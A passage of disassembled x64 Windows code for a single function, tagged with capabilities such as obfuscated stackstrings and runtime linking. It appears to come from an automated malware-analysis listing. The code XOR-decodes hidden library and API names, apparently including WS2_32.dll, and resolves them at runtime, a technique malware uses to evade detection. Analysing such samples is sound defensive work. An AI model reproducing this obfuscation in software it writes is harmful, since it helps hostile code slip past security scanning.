Function at 0x140008380
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header

Disassembly:
push rbp
sub rsp, 0x3a0
lea rbp, [rsp + 0x80]
call fcn.1400081e0
mov byte [rbp + 0x7f], 0x79
mov byte [rbp + 0x80], 0x76
mov byte [rbp + 0x81], 0x66
mov byte [rbp + 0x82], 0x7b
mov byte [rbp + 0x83], 0x73
mov byte [rbp + 0x84], 0x7b
mov byte [rbp + 0x85], 0xb
mov byte [rbp + 0x86], 0xb
mov byte [rbp + 0x87], 0x14
mov byte [rbp + 0x88], 0x5f
mov byte [rbp + 0x89], 0x50
mov byte [rbp + 0x8a], 0x51
mov byte [rbp + 0x8b], 0x3e
lea rax, [rbp + 0x7f]
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x14000849d
lea rax, [rbp + 0x7f]
lea rdx, [rbp + 0x7f]
mov qword [rbp + 0x280], rdx
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x274], 0
jmp 0x140008493
mov eax, dword [rbp + 0x274]
movsxd rdx, eax
mov rax, qword [rbp + 0x278]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x274]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x280]
mov eax, dword [rbp + 0x274]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x274], 1
cmp dword [rbp + 0x274], 0xc
jle 0x140008432
nop
lea rax, [rbp + 0x7f]
mov qword [rbp + 0x318], rax
mov dword [rbp + 0x250], 0
jmp 0x1400084c8
mov eax, dword [rbp + 0x250]
cdqe
mov byte [rbp + rax + 0x7f], 0
add dword [rbp + 0x250], 1
cmp dword [rbp + 0x250], 0xc
jle 0x1400084b4
nop
mov rax, qword [rbp + 0x318]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x310], rax
mov byte [rbp + 0x74], 0x65
mov byte [rbp + 0x75], 0x60
mov byte [rbp + 0x76], 6
mov byte [rbp + 0x77], 0x6a
mov byte [rbp + 0x78], 5
mov byte [rbp + 0x79], 5
mov byte [rbp + 0x7a], 0x16
mov byte [rbp + 0x7b], 0x5d
mov byte [rbp + 0x7c], 0x56
mov byte [rbp + 0x7d], 0x57
mov byte [rbp + 0x7e], 0x3c
lea rax, [rbp + 0x74]
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x1400085c8
lea rax, [rbp + 0x74]
lea rdx, [rbp + 0x74]
mov qword [rbp + 0x260], rdx
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x254], 0
jmp 0x1400085be
mov eax, dword [rbp + 0x254]
movsxd rdx, eax
mov rax, qword [rbp + 0x258]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x254]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x260]
mov eax, dword [rbp + 0x254]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x254], 1
cmp dword [rbp + 0x254], 0xa
jle 0x14000855d
nop
lea rax, [rbp + 0x74]
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x230], 0
jmp 0x1400085f3
mov eax, dword [rbp + 0x230]
cdqe
mov byte [rbp + rax + 0x74], 0
add dword [rbp + 0x230], 1
cmp dword [rbp + 0x230], 0xa
jle 0x1400085df
nop
mov rax, qword [rbp + 0x308]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x300], rax
mov byte [rbp + 0x65], 0x71
mov byte [rbp + 0x66], 0x41
mov byte [rbp + 0x67], 0x51
mov byte [rbp + 0x68], 0x54
mov byte [rbp + 0x69], 0x42
mov byte [rbp + 0x6a], 0x52
mov byte [rbp + 0x6b], 0x68
mov byte [rbp + 0x6c], 0x4b
mov byte [rbp + 0x6d], 0x55
mov byte [rbp + 0x6e], 0x58
mov byte [rbp + 0x6f], 0x59
mov byte [rbp + 0x70], 0x4e
mov byte [rbp + 0x71], 0x4d
mov byte [rbp + 0x72], 0x7e
mov byte [rbp + 0x73], 0x40
lea rax, [rbp + 0x65]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x140008703
lea rax, [rbp + 0x65]
lea rdx, [rbp + 0x65]
mov qword [rbp + 0x240], rdx
mov qword [rbp + 0x238], rax
mov dword [rbp + 0x234], 0
jmp 0x1400086f9
mov eax, dword [rbp + 0x234]
movsxd rdx, eax
mov rax, qword [rbp + 0x238]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x234]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x240]
mov eax, dword [rbp + 0x234]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x234], 1
cmp dword [rbp + 0x234], 0xe
jle 0x140008698
nop
lea rax, [rbp + 0x65]
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x210], 0
jmp 0x14000872e
mov eax, dword [rbp + 0x210]
cdqe
mov byte [rbp + rax + 0x65], 0
add dword [rbp + 0x210], 1
cmp dword [rbp + 0x210], 0xe
jle 0x14000871a
nop
mov rdx, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101a8], rax
mov byte [rbp + 0x59], 0x71
mov byte [rbp + 0x5a], 0x5f
mov byte [rbp + 0x5b], 0x5b
mov byte [rbp + 0x5c], 0x46
mov byte [rbp + 0x5d], 0x53
mov byte [rbp + 0x5e], 0x7f
mov byte [rbp + 0x5f], 0x59
mov byte [rbp + 0x60], 0x57
mov byte [rbp + 0x61], 0x5e
mov byte [rbp + 0x62], 0x57
mov byte [rbp + 0x63], 0x59
mov byte [rbp + 0x64], 0x3d
lea rax, [rbp + 0x59]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140008839
lea rax, [rbp + 0x59]
lea rdx, [rbp + 0x59]
mov qword [rbp + 0x220], rdx
mov qword [rbp + 0x218], rax
mov dword [rbp + 0x214], 0
jmp 0x14000882f
mov eax, dword [rbp + 0x214]
movsxd rdx, eax
mov rax, qword [rbp + 0x218]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x214]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x220]
mov eax, dword [rbp + 0x214]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x214], 1
cmp dword [rbp + 0x214], 0xb
jle 0x1400087ce
nop
lea rax, [rbp + 0x59]
mov qword [rbp + 0x2f0], rax
mov dword [rbp + 0x1f0], 0
jmp 0x140008864
mov eax, dword [rbp + 0x1f0]
cdqe
mov byte [rbp + rax + 0x59], 0
add dword [rbp + 0x1f0], 1
cmp dword [rbp + 0x1f0], 0xb
jle 0x140008850
nop
mov rdx, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101b0], rax
mov byte [rbp + 0x4f], 0x71
mov byte [rbp + 0x50], 0x5c
mov byte [rbp + 0x51], 0x44
mov byte [rbp + 0x52], 0x4c
mov byte [rbp + 0x53], 0x70
mov byte [rbp + 0x54], 0x5e
mov byte [rbp + 0x55], 0x54
mov byte [rbp + 0x56], 0x5c
mov byte [rbp + 0x57], 0x7b
mov byte [rbp + 0x58], 0x3b
lea rax, [rbp + 0x4f]
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
movzx eax, byte [rax + 9]
test al, al
setne al
test al, al
je 0x140008967
lea rax, [rbp + 0x4f]
lea rdx, [rbp + 0x4f]
mov qword [rbp + 0x200], rdx
mov qword [rbp + 0x1f8], rax
mov dword [rbp + 0x1f4], 0
jmp 0x14000895d
mov eax, dword [rbp + 0x1f4]
movsxd rdx, eax
mov rax, qword [rbp + 0x1f8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x1f4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x200]
mov eax, dword [rbp + 0x1f4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x1f4], 1
cmp dword [rbp + 0x1f4], 9
jle 0x1400088fc
nop
lea rax, [rbp + 0x4f]
mov qword [rbp + 0x2e8], rax
mov dword [rbp + 0x1d0], 0
jmp 0x140008992
mov eax, dword [rbp + 0x1d0]
cdqe
mov byte [rbp + rax + 0x4f], 0
add dword [rbp + 0x1d0], 1
cmp dword [rbp + 0x1d0], 9
jle 0x14000897e
nop
mov rdx, qword [rbp + 0x2e8]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101b8], rax
mov byte [rbp + 0x43], 0x77
mov byte [rbp + 0x44], 0x4b
mov byte [rbp + 0x45], 0x5d
mov byte [rbp + 0x46], 0x41
mov byte [rbp + 0x47], 0x66
mov byte [rbp + 0x48], 0x45
mov byte [rbp + 0x49], 0x57
mov byte [rbp + 0x4a], 0x5a
mov byte [rbp + 0x4b], 0x5f
mov byte [rbp + 0x4c], 0x48
mov byte [rbp + 0x4d], 0x4f
mov byte [rbp + 0x4e], 0x3d
lea rax, [rbp + 0x43]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140008a9d
lea rax, [rbp + 0x43]
lea rdx, [rbp + 0x43]
mov qword [rbp + 0x1e0], rdx
mov qword [rbp + 0x1d8], rax
mov dword [rbp + 0x1d4], 0
jmp 0x140008a93
mov eax, dword [rbp + 0x1d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x1d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x1d4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x1e0]
mov eax, dword [rbp + 0x1d4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x1d4], 1
cmp dword [rbp + 0x1d4], 0xb
jle 0x140008a32
nop
lea rax, [rbp + 0x43]
mov qword [rbp + 0x2e0], rax
mov dword [rbp + 0x1b0], 0
jmp 0x140008ac8
mov eax, dword [rbp + 0x1b0]
cdqe
mov byte [rbp + rax + 0x43], 0
add dword [rbp + 0x1b0], 1
cmp dword [rbp + 0x1b0], 0xb
jle 0x140008ab4
nop
mov rdx, qword [rbp + 0x2e0]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101c0], rax
mov byte [rbp + 0x20], 0x65
mov byte [rbp + 0x21], 0x52
mov byte [rbp + 0x22], 0x5d
mov byte [rbp + 0x23], 0x41
mov byte [rbp + 0x24], 0x70
mov byte [rbp + 0x25], 0x58
mov byte [rbp + 0x26], 0x4a
mov byte [rbp + 0x27], 0x6a
mov byte [rbp + 0x28], 0x53
mov byte [rbp + 0x29], 0x55
mov byte [rbp + 0x2a], 0x5b
mov byte [rbp + 0x2b], 0x51
mov byte [rbp + 0x2c], 0x5b
mov byte [rbp + 0x2d], 0x70
mov byte [rbp + 0x2e], 0x22
mov byte [rbp + 0x2f], 0x2b
mov byte [rbp + 0x30], 0x27
mov byte [rbp + 0x31], 0x20
mov byte [rbp + 0x32], 0x30
mov byte [rbp + 0x33], 0x45
lea rax, [rbp + 0x20]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
movzx eax, byte [rax + 0x13]
test al, al
setne al
test al, al
je 0x140008bf3
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x20]
mov qword [rbp + 0x1c0], rdx
mov qword [rbp + 0x1b8], rax
mov dword [rbp + 0x1b4], 0
jmp 0x140008be9
mov eax, dword [rbp + 0x1b4]
movsxd rdx, eax
mov rax, qword [rbp + 0x1b8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x1b4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x1c0]
mov eax, dword [rbp + 0x1b4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x1b4], 1
cmp dword [rbp + 0x1b4], 0x13
jle 0x140008b88
nop
lea rax, [rbp + 0x20]
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x190], 0
jmp 0x140008c1e
mov eax, dword [rbp + 0x190]
cdqe
mov byte [rbp + rax + 0x20], 0
add dword [rbp + 0x190], 1
cmp dword [rbp + 0x190], 0x13
jle 0x140008c0a
nop
mov rdx, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101c8], rax
mov byte [rbp], 0x75
mov byte [rbp + 1], 0x56
mov byte [rbp + 2], 0x40
mov byte [rbp + 3], 0x78
mov byte [rbp + 4], 0x59
mov byte [rbp + 5], 0x53
mov byte [rbp + 6], 0x4d
mov byte [rbp + 7], 0x55
mov byte [rbp + 8], 0x5f
mov byte [rbp + 9], 0x7d
mov byte [rbp + 0xa], 0x55
mov byte [rbp + 0xb], 0x51
mov byte [rbp + 0xc], 0x5b
mov byte [rbp + 0xd], 0x71
mov byte [rbp + 0xe], 0x21
mov byte [rbp + 0xf], 0x2c
mov byte [rbp + 0x10], 0x27
mov byte [rbp + 0x11], 2
mov byte [rbp + 0x12], 0x44
mov rax, rbp
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
movzx eax, byte [rax + 0x12]
test al, al
setne al
test al, al
je 0x140008d42
mov rax, rbp
mov rdx, rbp
mov qword [rbp + 0x1a0], rdx
mov qword [rbp + 0x198], rax
mov dword [rbp + 0x194], 0
jmp 0x140008d38
mov eax, dword [rbp + 0x194]
movsxd rdx, eax
mov rax, qword [rbp + 0x198]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x194]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x1a0]
mov eax, dword [rbp + 0x194]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x194], 1
cmp dword [rbp + 0x194], 0x12
jle 0x140008cd7
nop
mov rax, rbp
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x170], 0
jmp 0x140008d6c
mov eax, dword [rbp + 0x170]
cdqe
mov byte [rbp + rax], 0
add dword [rbp + 0x170], 1
cmp dword [rbp + 0x170], 0x12
jle 0x140008d58
nop
mov rdx, qword [rbp + 0x2d0]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101d0], rax
mov byte [rbp - 6], 0x61
mov byte [rbp - 5], 0x5f
mov byte [rbp - 4], 0x51
mov byte [rbp - 3], 0x50
mov byte [rbp - 2], 0x46
mov byte [rbp - 1], 0x37
lea rax, [rbp - 6]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
movzx eax, byte [rax + 5]
test al, al
setne al
test al, al
je 0x140008e5f
lea rax, [rbp - 6]
lea rdx, [rbp - 6]
mov qword [rbp + 0x180], rdx
mov qword [rbp + 0x178], rax
mov dword [rbp + 0x174], 0
jmp 0x140008e55
mov eax, dword [rbp + 0x174]
movsxd rdx, eax
mov rax, qword [rbp + 0x178]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x174]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x180]
mov eax, dword [rbp + 0x174]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x174], 1
cmp dword [rbp + 0x174], 5
jle 0x140008df4
nop
lea rax, [rbp - 6]
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x150], 0
jmp 0x140008e8a
mov eax, dword [rbp + 0x150]
cdqe
mov byte [rbp + rax - 6], 0
add dword [rbp + 0x150], 1
cmp dword [rbp + 0x150], 5
jle 0x140008e76
nop
mov rdx, qword [rbp + 0x2c8]
mov rax, qword [rbp + 0x310]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101d8], rax
mov byte [rbp - 0x11], 0x65
mov byte [rbp - 0x10], 0x60
mov byte [rbp - 0xf], 0x75
mov byte [rbp - 0xe], 0x66
mov byte [rbp - 0xd], 0x42
mov byte [rbp - 0xc], 0x56
mov byte [rbp - 0xb], 0x4a
mov byte [rbp - 0xa], 0x4d
mov byte [rbp - 9], 0x4f
mov byte [rbp - 8], 0x4b
mov byte [rbp - 7], 0x3c
lea rax, [rbp - 0x11]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x140008f91
lea rax, [rbp - 0x11]
lea rdx, [rbp - 0x11]
mov qword [rbp + 0x160], rdx
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x154], 0
jmp 0x140008f87
mov eax, dword [rbp + 0x154]
movsxd rdx, eax
mov rax, qword [rbp + 0x158]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x154]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x160]
mov eax, dword [rbp + 0x154]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x154], 1
cmp dword [rbp + 0x154], 0xa
jle 0x140008f26
nop
lea rax, [rbp - 0x11]
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x130], 0
jmp 0x140008fbc
mov eax, dword [rbp + 0x130]
cdqe
mov byte [rbp + rax - 0x11], 0
add dword [rbp + 0x130], 1
cmp dword [rbp + 0x130], 0xa
jle 0x140008fa8
nop
mov rdx, qword [rbp + 0x2c0]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101e0], rax
mov byte [rbp - 0x1d], 0x55
mov byte [rbp - 0x1c], 0x56
mov byte [rbp - 0x1b], 0x40
mov byte [rbp - 0x1a], 0x54
mov byte [rbp - 0x19], 0x52
mov byte [rbp - 0x18], 0x53
mov byte [rbp - 0x17], 0x4a
mov byte [rbp - 0x16], 0x50
mov byte [rbp - 0x15], 0x54
mov byte [rbp - 0x14], 0x5d
mov byte [rbp - 0x13], 0x53
mov byte [rbp - 0x12], 0x3d
lea rax, [rbp - 0x1d]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x1400090c7
lea rax, [rbp - 0x1d]
lea rdx, [rbp - 0x1d]
mov qword [rbp + 0x140], rdx
mov qword [rbp + 0x138], rax
mov dword [rbp + 0x134], 0
jmp 0x1400090bd
mov eax, dword [rbp + 0x134]
movsxd rdx, eax
mov rax, qword [rbp + 0x138]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x134]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x140]
mov eax, dword [rbp + 0x134]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x134], 1
cmp dword [rbp + 0x134], 0xb
jle 0x14000905c
nop
lea rax, [rbp - 0x1d]
mov qword [rbp + 0x2b8], rax
mov dword [rbp + 0x110], 0
jmp 0x1400090f2
mov eax, dword [rbp + 0x110]
cdqe
mov byte [rbp + rax - 0x1d], 0
add dword [rbp + 0x110], 1
cmp dword [rbp + 0x110], 0xb
jle 0x1400090de
nop
mov rdx, qword [rbp + 0x2b8]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101e8], rax
mov byte [rbp - 0x28], 0x65
mov byte [rbp - 0x27], 0x60
mov byte [rbp - 0x26], 0x75
mov byte [rbp - 0x25], 0x66
mov byte [rbp - 0x24], 0x59
mov byte [rbp - 0x23], 0x54
mov byte [rbp - 0x22], 0x53
mov byte [rbp - 0x21], 0x5c
mov byte [rbp - 0x20], 0x4e
mov byte [rbp - 0x1f], 0x7a
mov byte [rbp - 0x1e], 0x3c
lea rax, [rbp - 0x28]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
movzx eax, byte [rax + 0xa]
test al, al
setne al
test al, al
je 0x1400091f9
lea rax, [rbp - 0x28]
lea rdx, [rbp - 0x28]
mov qword [rbp + 0x120], rdx
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x114], 0
jmp 0x1400091ef
mov eax, dword [rbp + 0x114]
movsxd rdx, eax
mov rax, qword [rbp + 0x118]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x114]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x120]
mov eax, dword [rbp + 0x114]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x114], 1
cmp dword [rbp + 0x114], 0xa
jle 0x14000918e
nop
lea rax, [rbp - 0x28]
mov qword [rbp + 0x2b0], rax
mov dword [rbp + 0xf0], 0
jmp 0x140009224
mov eax, dword [rbp + 0xf0]
cdqe
mov byte [rbp + rax - 0x28], 0
add dword [rbp + 0xf0], 1
cmp dword [rbp + 0xf0], 0xa
jle 0x140009210
nop
mov rdx, qword [rbp + 0x2b0]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101f0], rax
mov byte [rbp - 0x35], 0x54
mov byte [rbp - 0x34], 0x41
mov byte [rbp - 0x33], 0x51
mov byte [rbp - 0x32], 0x50
mov byte [rbp - 0x31], 0x57
mov byte [rbp - 0x30], 0x53
mov byte [rbp - 0x2f], 0x5c
mov byte [rbp - 0x2e], 0x4b
mov byte [rbp - 0x2d], 0x53
mov byte [rbp - 0x2c], 0x55
mov byte [rbp - 0x2b], 0x5a
mov byte [rbp - 0x2a], 0x52
mov byte [rbp - 0x29], 0x3e
lea rax, [rbp - 0x35]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x140009333
lea rax, [rbp - 0x35]
lea rdx, [rbp - 0x35]
mov qword [rbp + 0x100], rdx
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0xf4], 0
jmp 0x140009329
mov eax, dword [rbp + 0xf4]
movsxd rdx, eax
mov rax, qword [rbp + 0xf8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xf4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x100]
mov eax, dword [rbp + 0xf4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xf4], 1
cmp dword [rbp + 0xf4], 0xc
jle 0x1400092c8
nop
lea rax, [rbp - 0x35]
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0xd0], 0
jmp 0x14000935e
mov eax, dword [rbp + 0xd0]
cdqe
mov byte [rbp + rax - 0x35], 0
add dword [rbp + 0xd0], 1
cmp dword [rbp + 0xd0], 0xc
jle 0x14000934a
nop
mov rdx, qword [rbp + 0x2a8]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400101f8], rax
mov byte [rbp - 0x41], 0x51
mov byte [rbp - 0x40], 0x5f
mov byte [rbp - 0x3f], 0x5b
mov byte [rbp - 0x3e], 0x46
mov byte [rbp - 0x3d], 0x53
mov byte [rbp - 0x3c], 0x44
mov byte [rbp - 0x3b], 0x57
mov byte [rbp - 0x3a], 0x5a
mov byte [rbp - 0x39], 0x51
mov byte [rbp - 0x38], 0x5e
mov byte [rbp - 0x37], 0x48
mov byte [rbp - 0x36], 0x3d
lea rax, [rbp - 0x41]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x140009469
lea rax, [rbp - 0x41]
lea rdx, [rbp - 0x41]
mov qword [rbp + 0xe0], rdx
mov qword [rbp + 0xd8], rax
mov dword [rbp + 0xd4], 0
jmp 0x14000945f
mov eax, dword [rbp + 0xd4]
movsxd rdx, eax
mov rax, qword [rbp + 0xd8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0xd4]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffa0a0a0a1
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x33
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x32
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0xe0]
mov eax, dword [rbp + 0xd4]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0xd4], 1
cmp dword [rbp + 0xd4], 0xb
jle 0x1400093fe
nop
lea rax, [rbp - 0x41]
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0xb0], 0
jmp 0x140009494
mov eax, dword [rbp + 0xb0]
cdqe
mov byte [rbp + rax - 0x41], 0
add dword [rbp + 0xb0], 1
cmp dword [rbp + 0xb0], 0xb
jle 0x140009480
nop
mov rdx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x140010200], rax
mov byte [rbp - 0x4c], 0x65
mov byte [rbp - 0x4b], 0x60
mov byte [rbp - 0x4a], 0x75
mov byte [rbp - 0x49], 0x76
mov byte [rbp - 0x48], 0x5a
mov byte [rbp - 0x47], 0x52
mov byte [rbp - 0x46], 0x59
mov byte [rbp - 0x45], 0x57
mov byte [rbp - 0x44], 0x4f
mov byte [rbp - 0x43], 0x4b
mov byte [rbp - 0x42], 0x3c
lea rax, [rbp - 0x4c]
mov qword [rbp + 0xc8], rax
